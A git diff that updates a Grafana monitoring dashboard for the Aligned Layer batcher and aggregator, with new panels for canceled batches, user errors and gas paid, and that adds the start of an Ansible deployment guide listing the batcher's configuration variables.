@@ -702,23 +730,102 @@ "title": "Batches Reverted", "type": "timeseries" }, + { + "datasource": { + "default": true, + "type": "prometheus", + "uid": "prometheus" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#EAB839", + "value": 3 + }, + { + "color": "red", + "value": 5 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 6, + "w": 4, + "x": 0, + "y": 19 + }, + "id": 22, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "percentChangeColorMode": "standard", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true + }, + "pluginVersion": "11.2.2+security-01", + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "disableTextWrap": false, + "editorMode": "code", + "expr": "floor(increase(canceled_batches{job=\"aligned-batcher\"}[$__range]))", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Canceled Batches", + "type": "stat" + }, { "datasource": { "type": "prometheus", "uid": "prometheus" }, - "description": "Measures websocket connections that were abnormally disconnected.", "fieldConfig": { "defaults": { "color": { "mode": "palette-classic" }, "custom": { + "axisBorderShow": false, "axisCenteredZero": false, "axisColorMode": "text", "axisLabel": "", "axisPlacement": "auto", "barAlignment": 0, + "barWidthFactor": 0.6, "drawStyle": "line", "fillOpacity": 0, "gradientMode": "none", @@ -762,13 +869,12 @@ "overrides": [] }, "gridPos": { - "h": 8, - "w": 12, - "x": 0, + "h": 6, + "w": 9, + "x": 4, "y": 19 }, - "id": 20, - "interval": "1m", + "id": 21, "options": { "legend": { "calcs": [], @@ -789,7 +895,7 @@ }, "disableTextWrap": false, "editorMode": "builder", - "expr": "broken_ws_connections{job=\"aligned-batcher\"}", + "expr": "canceled_batches", "fullMetaSearch": false, "includeNullMetadata": true, "instant": false, @@ -799,518 +905,1122 @@ "useBackend": false } ], - "title": "Broken websocket connections", + "title": "Batches Canceled", "type": "timeseries" }, { - "collapsed": true, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 27 + "datasource": { + "type": "prometheus", + "uid": "prometheus" }, - "id": 10, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "dark-red" - }, - { - "color": "green", - "value": 0 - }, - { - "color": "yellow", - "value": 1 - }, - { - "color": "dark-red", - "value": 2 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 10, - "x": 0, - "y": 42 + "description": "Measures websocket connections that were abnormally disconnected.", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" }, - "id": 9, - "options": { - "colorMode": "value", - "graphMode": "none", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": ["lastNotNull"], - "fields": "", - "values": false + "custom": { + "axisBorderShow": false, + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "barWidthFactor": 0.6, + "drawStyle": "line", + "fillOpacity": 0, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false }, - "textMode": "auto" - }, - "pluginVersion": "10.1.10", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "disableTextWrap": false, - "editorMode": "builder", - "exemplar": false, - "expr": "floor(increase(aligned_aggregator_received_tasks{job=\"aligned-aggregator\"}[$__range]))", - "fullMetaSearch": false, - "hide": true, - "includeNullMetadata": true, - "instant": false, - "interval": "", - "legendFormat": "{{label_name}}", - "range": true, - "refId": "A", - "useBackend": false + "insertNulls": false, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "disableTextWrap": false, - "editorMode": "builder", - "expr": "floor(increase(aligned_aggregated_responses{bot=\"aggregator\"}[$__range]))", - "fullMetaSearch": false, - "hide": true, - "includeNullMetadata": true, - "instant": false, - "legendFormat": "__auto", - "range": true, - "refId": "B", - "useBackend": false + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" }, - { - "datasource": { - "name": "Expression", - "type": "__expr__", - "uid": "__expr__" - }, - "expression": "$A - $B", - "hide": false, - "reducer": "last", - "refId": "C", - "type": "math" + "thresholdsStyle": { + "mode": "off" } - ], - "title": "Tasks Not Verified", - "transformations": [ - { - "id": "filterByValue", - "options": { - "filters": [ - { - "config": { - "id": "lower", - "options": { - "value": 0 - } - }, - "fieldName": "C {bot=\"aggregator\", instance=\"host.docker.internal:9091\", job=\"aligned-aggregator\"}" - } - ], - "match": "any", - "type": "exclude" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 } - } - ], - "type": "stat" + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 8, + "w": 10, + "x": 0, + "y": 25 + }, + "id": 20, + "interval": "1m", + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ { "datasource": { "type": "prometheus", "uid": "prometheus" }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "insertNulls": false, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green" - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 10, - "x": 10, - "y": 42 + "disableTextWrap": false, + "editorMode": "builder", + "expr": "broken_ws_connections{job=\"aligned-batcher\"}", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Broken websocket connections", + "type": "timeseries" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" }, - "id": 1, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true + "custom": { + "axisBorderShow": false, + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "barWidthFactor": 0.6, + "drawStyle": "line", + "fillOpacity": 0, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "insertNulls": false, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" }, - "tooltip": { - "maxHeight": 600, - "mode": "single", - "sort": "none" + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" } }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null }, - "disableTextWrap": false, - "editorMode": "builder", - "expr": "floor(increase(aligned_aggregated_responses{bot=\"aggregator\"}[10y]))", - "fullMetaSearch": false, - "includeNullMetadata": true, - "instant": false, - "legendFormat": "__auto", - "range": true, - "refId": "A", - "useBackend": false - } - ], - "title": "Verified Tasks", - "type": "timeseries" + { + "color": "red", + "value": 80 + } + ] + } }, - { + "overrides": [] + }, + "gridPos": { + "h": 8, + "w": 11, + "x": 10, + "y": 25 + }, + "id": 24, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "right", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { "datasource": { "type": "prometheus", "uid": "prometheus" }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green" - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 5, - "x": 0, - "y": 49 - }, - "id": 8, + "disableTextWrap": false, + "editorMode": "builder", + "expr": "user_errors", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "{{error_type}}", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "User Error Count", + "transformations": [ + { + "id": "calculateField", + "options": { + "alias": "proof_rejected", + "mode": "reduceRow", + "reduce": { + "include": [ + "rejected_proof" + ], + "reducer": "sum" + } + } + }, + { + "id": "organize", "options": { - "colorMode": "value", - "graphMode": "none", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": ["lastNotNull"], - "fields": "", - "values": false + "excludeByName": { + "rejected_proof": true }, - "textMode": "auto" + "indexByName": {}, + "renameByName": {} + } + }, + { + "id": "calculateField", + "options": { + "alias": "total", + "mode": "reduceRow", + "reduce": { + "reducer": "sum" + } + } + } + ], + "type": "timeseries" + }, + { + "collapsed": false, + "gridPos": { + "h": 1, + "w": 24, + "x": 0, + "y": 33 + }, + "id": 10, + "panels": [], + "title": "Aggregator", + "type": "row" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" }, - "pluginVersion": "10.1.10", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "dark-red", + "value": null }, - "disableTextWrap": false, - "editorMode": "builder", - "expr": "floor(increase(aligned_aggregator_received_tasks{bot=\"aggregator\"}[10y]))", - "fullMetaSearch": false, - "includeNullMetadata": true, - "instant": false, - "legendFormat": "__auto", - "range": true, - "refId": "A", - "useBackend": false - } + { + "color": "green", + "value": 0 + }, + { + "color": "yellow", + "value": 1 + }, + { + "color": "dark-red", + "value": 2 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 10, + "x": 0, + "y": 34 + }, + "id": 9, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "percentChangeColorMode": "standard", + "reduceOptions": { + "calcs": [ + "lastNotNull" ], - "title": "Total Tasks Received", - "type": "stat" + "fields": "", + "values": false }, + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true + }, + "pluginVersion": "11.2.2+security-01", + "targets": [ { "datasource": { "type": "prometheus", "uid": "prometheus" }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green" - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 5, - "x": 5, - "y": 49 - }, - "id": 7, - "options": { - "colorMode": "value", - "graphMode": "none", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": ["lastNotNull"], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "10.1.10", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "disableTextWrap": false, - "editorMode": "builder", - "expr": "floor(increase(aligned_aggregator_received_tasks{bot=\"aggregator\"}[$__range]))", - "fullMetaSearch": false, - "includeNullMetadata": true, - "instant": false, - "legendFormat": "__auto", - "range": true, - "refId": "A", - "useBackend": false - } - ], - "title": "Tasks Received", - "type": "stat" + "disableTextWrap": false, + "editorMode": "builder", + "exemplar": false, + "expr": "floor(increase(aligned_aggregator_received_tasks{job=\"aligned-aggregator\"}[$__range]))", + "fullMetaSearch": false, + "hide": true, + "includeNullMetadata": true, + "instant": false, + "interval": "", + "legendFormat": "{{label_name}}", + "range": true, + "refId": "A", + "useBackend": false }, { "datasource": { "type": "prometheus", "uid": "prometheus" }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green" + "disableTextWrap": false, + "editorMode": "builder", + "expr": "floor(increase(aligned_aggregated_responses{bot=\"aggregator\"}[$__range]))", + "fullMetaSearch": false, + "hide": true, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "B", + "useBackend": false + }, + { + "datasource": { + "name": "Expression", + "type": "__expr__", + "uid": "__expr__" + }, + "expression": "$A - $B", + "hide": false, + "reducer": "last", + "refId": "C", + "type": "math" + } + ], + "title": "Tasks Not Verified", + "transformations": [ + { + "id": "filterByValue", + "options": { + "filters": [ + { + "config": { + "id": "lower", + "options": { + "value": 0 } - ] + }, + "fieldName": "C {bot=\"aggregator\", instance=\"host.docker.internal:9091\", job=\"aligned-aggregator\"}" } - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 5, - "x": 0, - "y": 56 + ], + "match": "any", + "type": "exclude" + } + } + ], + "type": "stat" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" }, - "id": 2, - "options": { - "colorMode": "value", - "graphMode": "none", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": ["lastNotNull"], - "fields": "", - "values": false + "custom": { + "axisBorderShow": false, + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "barWidthFactor": 0.6, + "drawStyle": "line", + "fillOpacity": 0, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "insertNulls": false, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" }, - "showPercentChange": false, - "textMode": "auto", - "wideLayout": true + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } }, - "pluginVersion": "10.1.10", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null }, - "disableTextWrap": false, - "editorMode": "builder", - "exemplar": false, - "expr": "floor(increase(aligned_aggregated_responses{bot=\"aggregator\"}[10y]))", - "format": "table", - "fullMetaSearch": false, - "includeNullMetadata": true, - "instant": false, - "interval": "", - "legendFormat": "__auto", - "range": true, - "refId": "A", - "useBackend": false - } - ], - "title": "Total Tasks Verified", - "type": "stat" + { + "color": "red", + "value": 80 + } + ] + } }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 10, + "x": 10, + "y": 34 + }, + "id": 1, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "maxHeight": 600, + "mode": "single", + "sort": "none" + } + }, + "targets": [ { "datasource": { "type": "prometheus", "uid": "prometheus" }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green" - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 5, - "x": 5, - "y": 56 - }, - "id": 5, - "options": { - "colorMode": "value", - "graphMode": "none", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": ["lastNotNull"], - "fields": "", - "values": false - }, - "showPercentChange": false, - "textMode": "auto", - "wideLayout": true - }, - "pluginVersion": "10.1.10", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "disableTextWrap": false, - "editorMode": "builder", - "exemplar": false, - "expr": "floor(increase(aligned_aggregated_responses{bot=\"aggregator\"}[$__range]))", - "fullMetaSearch": false, - "includeNullMetadata": true, - "instant": false, - "legendFormat": "__auto", - "range": true, - "refId": "A", - "useBackend": false - } - ], - "title": "Tasks Verified", - "type": "stat" + "disableTextWrap": false, + "editorMode": "builder", + "expr": "floor(increase(aligned_aggregated_responses{bot=\"aggregator\"}[10y]))", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false } ], - "title": "Aggregator", - "type": "row" + "title": "Verified Tasks", + "type": "timeseries" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 5, + "x": 0, + "y": 41 + }, + "id": 8, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "percentChangeColorMode": "standard", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true + }, + "pluginVersion": "11.2.2+security-01", + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "disableTextWrap": false, + "editorMode": "builder", + "expr": "floor(increase(aligned_aggregator_received_tasks{bot=\"aggregator\"}[10y]))", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Total Tasks Received", + "type": "stat" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 5, + "x": 5, + "y": 41 + }, + "id": 7, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "percentChangeColorMode": "standard", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true + }, + "pluginVersion": "11.2.2+security-01", + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "disableTextWrap": false, + "editorMode": "builder", + "expr": "floor(increase(aligned_aggregator_received_tasks{bot=\"aggregator\"}[$__range]))", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Tasks Received", + "type": "stat" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "description": "Accumulated gas cost the aggregator paid for the batcher when the tx cost was higher than the respondToTaskFeeLimit.", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + }, + "unit": "ETH" + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 5, + "x": 10, + "y": 41 + }, + "id": 27, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "percentChangeColorMode": "standard", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true + }, + "pluginVersion": "11.2.2+security-01", + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "disableTextWrap": false, + "editorMode": "builder", + "expr": "aligned_aggregator_gas_cost_paid_for_batcher{bot=\"aggregator\"}", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Accumulated GasCost paid for batcher", + "type": "stat" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "description": "Number of times the aggregator paid for the batcher when the tx cost was higher than the respondToTaskFeeLimit", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 5, + "x": 15, + "y": 41 + }, + "id": 26, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "percentChangeColorMode": "standard", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true + }, + "pluginVersion": "11.2.2+security-01", + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "disableTextWrap": false, + "editorMode": "builder", + "expr": "aligned_aggregator_num_times_paid_for_batcher{bot=\"aggregator\"}", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Times aggregator paid for batcher", + "type": "stat" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 5, + "x": 0, + "y": 48 + }, + "id": 2, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "percentChangeColorMode": "standard", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true + }, + "pluginVersion": "11.2.2+security-01", + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "disableTextWrap": false, + "editorMode": "builder", + "exemplar": false, + "expr": "floor(increase(aligned_aggregated_responses{bot=\"aggregator\"}[10y]))", + "format": "table", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "interval": "", + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Total Tasks Verified", + "type": "stat" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 5, + "x": 5, + "y": 48 + }, + "id": 5, + "options": { + "colorMode": "value", + "graphMode": "none", + "justifyMode": "auto", + "orientation": "auto", + "percentChangeColorMode": "standard", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "showPercentChange": false, + "textMode": "auto", + "wideLayout": true + }, + "pluginVersion": "11.2.2+security-01", + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "disableTextWrap": false, + "editorMode": "builder", + "exemplar": false, + "expr": "floor(increase(aligned_aggregated_responses{bot=\"aggregator\"}[$__range]))", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Tasks Verified", + "type": "stat" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "description": "Time series showing the number of times the aggregator paid for the batcher when the tx cost was higher than the respondToTaskFeeLimit", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisBorderShow": false, + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "barWidthFactor": 0.6, + "drawStyle": "line", + "fillOpacity": 0, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "insertNulls": false, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 10, + "x": 10, + "y": 48 + }, + "id": 28, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "disableTextWrap": false, + "editorMode": "builder", + "expr": "aligned_aggregator_num_times_paid_for_batcher{bot=\"aggregator\"}", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Aggregator paid for batcher time series", + "type": "timeseries" + }, + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "description": "Number of times gas price was bumped while sending an aggregated response.", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisBorderShow": false, + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "barWidthFactor": 0.6, + "drawStyle": "line", + "fillOpacity": 0, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "insertNulls": false, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": false, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 7, + "w": 10, + "x": 0, + "y": 55 + }, + "id": 25, + "interval": "36", + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "targets": [ + { + "datasource": { + "type": "prometheus", + "uid": "prometheus" + }, + "disableTextWrap": false, + "editorMode": "builder", + "expr": "aligned_respond_to_task_gas_price_bumped{bot=\"aggregator\"}", + "fullMetaSearch": false, + "includeNullMetadata": true, + "instant": false, + "legendFormat": "__auto", + "range": true, + "refId": "A", + "useBackend": false + } + ], + "title": "Bumped gas price for aggregated responses", + "type": "timeseries" } ], "refresh": "5s", - "schemaVersion": 38, - "style": "dark", + "schemaVersion": 39, "tags": [], "templating": { "list": [] @@ -1323,6 +2033,6 @@ "timezone": "browser", "title": "Aggregator Data", "uid": "aggregator", - "version": 6, + "version": 3, "weekStart": "" } diff --git a/infra/ansible/README.md b/infra/ansible/README.md new file mode 100644 index 000000000..806b3fe90 --- /dev/null +++ b/infra/ansible/README.md @@ -0,0 +1,268 @@ +# Guide to Deploy + +## Batcher + +> [!IMPORTANT] +> You need to have previously created an ECDSA keystore with at least 1ETH. +> You can create keystore following this [guide](#How-to-Create-Keystores) + +To deploy the Batcher you need to set some variables and then run the Batcher playbook + +Create the variables files: + +```shell +make ansible_batcher_create_env +``` + +This will create the following files in `infra/ansible/playbooks/ini` + +- `config-batcher.ini` +- `env-batcher.ini` +- `caddy-batcher.ini` + +The `config-batcher.ini` contains the following variables: + +| Variable | Description | Stage | Testnet | Mainnet | +|-------------------------------------------|------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------|-------------------------------------| +| aligned_layer_deployment_config_file_path | JSON with Aligned contracts addresses | /home/app/repos/batcher/aligned_layer/contracts/script/output/holesky/alignedlayer_deployment_output.stage.json | /home/app/repos/operator/aligned_layer/contracts/script/output/holesky/alignedlayer_deployment_output.json | TBD | +| eigen_layer_deployment_config_file_path | JSON with EigenLayer contracts addresses | /home/app/repos/batcher/aligned_layer/contracts/script/output/holesky/eigenlayer_deployment_output.json | /home/app/repos/operator/aligned_layer/contracts/script/output/holesky/eigenlayer_deployment_output.json | TBD | +| eth_rpc_url | HTTP RPC url | | | | +| eth_rpc_url_fallback | HTTP RPC fallback url. Must be different than eth_rpc_url | https://ethereum-holesky-rpc.publicnode.com | https://ethereum-holesky-rpc.publicnode.com | https://ethereum-rpc.publicnode.com | +| eth_ws_url | WS RPC url | | | | +| eth_ws_url_fallback | WS RPC fallback url. Must be different than eth_ws_rpc_url | wss://ethereum-holesky-rpc.publicnode.com | wss://ethereum-holesky-rpc.publicnode.com | wss://ethereum-rpc.publicnode.com | +| ecdsa_private_key_store_password | Password of the ECDSA keystore | | | | +| telemetry_ip_port_address | IP:Port of the Telemetry service | :4001 | :4001 | TBD | +| batcher_replacement_private_key | This is the private key for the non-paying users | - | - | - | + +The `env-batcher.ini` contains the following variables: + +| Variable | Description | Stage | Testnet | Mainnet | +|-------------------|------------------------------------------------------------|-------------------------------------|---------------------------------------|-------------------------------| +| secret_access_key | Secret access key for user with access to the Storage (S3) | | | | +| region | Region of the Storage | | | | +| access_key_id | Access key for the user with access to the Storage (S3) | | | | +| bucket_name | Bucket name | | | | +| download_endpoint | Public endpoint to download batcher | | | | +| log_level | Log level | info | info | info | + +The 